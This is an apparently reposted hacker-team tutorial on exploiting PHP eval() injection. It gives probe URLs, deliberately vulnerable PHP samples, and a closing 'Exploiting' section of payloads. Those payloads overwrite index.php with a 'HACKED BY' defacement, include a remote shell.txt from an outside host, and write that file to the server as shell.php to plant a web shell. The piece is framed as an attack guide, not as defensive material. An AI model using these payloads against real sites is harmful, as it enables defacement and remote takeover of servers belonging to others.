Tuesday, September 25, 2012

File: Eval() Vulnerability & Exploitation
Author: GlaDiaT0R
Hits: 859
date: 2010-05-04


##############################################################################
# [+]Title: [Eval() Vulnerability & Exploitation]
##############################################################################
# [+] About :
##############################################################################
# Written by : GlaDiaT0R
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team : Tunisian Power Team ( DarkGh0st.Net )
##############################################################################
# [+] Summary:
# [1]-Introduction
# [2]-Detection
# [3]-Vulnerable Source code
# [4]-Exploiting..
##############################################################################


[1]-Introduction

eval () is a PHP function that allows to interpret a given string as PHP code, because eval () is often used in Web applications,
although interpretation of the chain is widely liked manipulated, eval () serves most of the time to execute php code containing previously defined variable.
the problem is that if eval () executes a variable that you can modify the code contained by php eval () will execute as such.
Reminder: eval () allows execution of a given string as PHP code but not write (or if so desired) its content in this page or others, he is content to perform, and display the result.
We will even two different PHP source code using Eval (), the possibilities of PHP code injection and how how to use eval () can change the syntax of PHP code to execute.

=======================================================


[2]-Detection

PoC 1 :

http://www.vulnsite.com/evalinject.php?ev=<? phpinfo(); ?>

[ eval() execute the contents of the variable "ev" as PHP code ]

----------

PoC 2 :

http://www.vulnsite.com/evalinject.php?ev=phpinfo();

[ eval() execute the contents of the variable "ev" as PHP code (without tags) ]

----------

PoC 3 :

Changing the header or POST variable cited by: phpinfo () [or <? phpinfo ();> php code used . ]
(With the Tamper Data)

[ eval () execute a chain whose variable $ HTTP_USER_AGENT is so just
change your header in PHP code ]

=======================================================


[3]-Vulnerable Source code

PoC 1 :

<?php
$Ev = $_GET['ev'];
$string = ($Ev);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

----------

PoC 2 :
<?php
$Ev = $_GET['ev'];
$eva = stripslashes($Ev);
eval($eva);
?>

----------

PoC 3 :

<?php
$string = stripslashes($HTTP_USER_AGENT);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

=======================================================

[4]-Exploiting..

----------
Write or Create a page containing : Hacked by ...
<?php $z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z); ?>

or

$z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z);
----------
To insert a remote page include using an url
<?php include('http://www.website.com/shell.txt'); ?>

or

include('http://www.website.com/shell.txt');
----------
Insertion of a distant code in the vulnerable website
<?php $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z); ?>

or

$z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z);
----------

Thank you for your attention. I hope you understood the process to exploit the eval () vulnerability .

Eval() Vulnerability & Exploitation

  • Uploaded by: MIN Software
  • Views:
  • Category:
  • Share

    0 comments:

    Post a Comment

     

    Our Team Members

    Copyright © hacker va bao mat | Designed by Templateism.com | WPResearcher.com